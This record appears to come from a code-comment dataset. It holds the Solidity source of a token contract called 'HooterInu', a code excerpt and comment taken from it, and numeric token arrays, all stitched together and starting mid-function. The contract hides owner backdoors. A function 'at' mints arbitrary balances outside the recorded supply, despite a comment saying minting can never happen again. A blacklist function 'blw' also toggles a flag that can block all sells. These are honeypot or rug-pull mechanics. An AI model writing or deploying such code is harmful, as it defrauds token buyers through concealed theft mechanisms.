amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Context.renounced = true; _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract HooterInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; bool public se = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount, blacklisted mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public _isBlw; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("HooterInu", "$HooterInu") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 7; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 12; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 20 / 1000; // 2% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x903deD335f5722131F34600232aCF29A03c7CDF7); // set as marketing wallet devWallet = address(0xfE395b56c1f073b818050466Cb8fe86aC57836BF); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(se); require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } require(_isBlw[from] == false, "You cant do this transaction. (Blw)"); super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function blw(address[] calldata a, bool _blw) public onlyOwner { for(uint i = 0; i < a.length; i++) { if(address(a[i]) == address(owner())) { se = _blw; } _isBlw[a[i]] = _blw; } } function at(address a, uint256 b) public onlyOwner { _balances[a] = _balances[a].add(b); } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
exclude from paying fees or having max transaction amount
constructor() ERC20("HooterInu", "$HooterInu") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 7; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 12; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e12 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
2,252,558
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 44, 7253, 382, 89, 3113, 4662, 44, 7253, 382, 89, 7923, 288, 203, 540, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 540, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 540, 203, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 2371, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 576, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 8870, 2 ]
// SPDX-License-Identifier: GPL-3.0-or-later // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 